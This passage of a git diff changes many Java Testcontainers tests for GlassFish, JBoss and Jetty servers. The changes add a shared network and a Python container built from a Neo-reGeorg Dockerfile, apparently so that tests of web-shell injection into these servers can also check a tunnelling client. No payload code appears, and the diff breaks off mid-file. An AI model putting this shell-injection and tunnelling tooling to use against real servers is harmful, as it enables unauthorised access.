@@ -58,6 +66,6 @@ public class GlassFish510ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class GlassFish6ContainerTest {
|
public class GlassFish6ContainerTest {
|
||||||
public static final String imageName = "reajason/glassfish:6.2.6-jdk11";
|
public static final String imageName = "reajason/glassfish:6.2.6-jdk11";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
.waitingFor(Wait.forLogMessage(".*deployed.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class GlassFish6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class GlassFish7ContainerTest {
|
public class GlassFish7ContainerTest {
|
||||||
public static final String imageName = "reajason/glassfish:7.0.20-jdk17";
|
public static final String imageName = "reajason/glassfish:7.0.20-jdk17";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forLogMessage(".*startup time.*", 1))
|
.waitingFor(Wait.forLogMessage(".*startup time.*", 1))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class GlassFish7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jboss423ContainerTest {
|
public class Jboss423ContainerTest {
|
||||||
public static final String imageName = "reajason/jboss:4-jdk6";
|
public static final String imageName = "reajason/jboss:4-jdk6";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,6 +66,6 @@ public class Jboss423ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jboss510ContainerTest {
|
public class Jboss510ContainerTest {
|
||||||
public static final String imageName = "reajason/jboss:5-jdk6";
|
public static final String imageName = "reajason/jboss:5-jdk6";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -61,6 +69,6 @@ public class Jboss510ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jboss610ContainerTest {
|
public class Jboss610ContainerTest {
|
||||||
public static final String imageName = "reajason/jboss:6-jdk7";
|
public static final String imageName = "reajason/jboss:6-jdk7";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,6 +66,6 @@ public class Jboss610ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jboss711ContainerTest {
|
public class Jboss711ContainerTest {
|
||||||
public static final String imageName = "reajason/jboss:7-jdk7";
|
public static final String imageName = "reajason/jboss:7-jdk7";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -61,6 +69,6 @@ public class Jboss711ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class JbossEap6ContainerTest {
|
public class JbossEap6ContainerTest {
|
||||||
public static final String imageName = "reajason/jboss:eap-6-jdk8";
|
public static final String imageName = "reajason/jboss:eap-6-jdk8";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,6 +66,6 @@ public class JbossEap6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class JbossEap7ContainerTest {
|
public class JbossEap7ContainerTest {
|
||||||
public static final String imageName = "reajason/jboss:eap-7-jdk8";
|
public static final String imageName = "reajason/jboss:eap-7-jdk8";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +65,6 @@ public class JbossEap7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty10ContainerTest {
|
public class Jetty10ContainerTest {
|
||||||
public static final String imageName = "jetty:10-jre11";
|
public static final String imageName = "jetty:10-jre11";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -56,6 +65,6 @@ public class Jetty10ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty11ContainerTest {
|
public class Jetty11ContainerTest {
|
||||||
public static final String imageName = "jetty:11-jre11";
|
public static final String imageName = "jetty:11-jre11";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
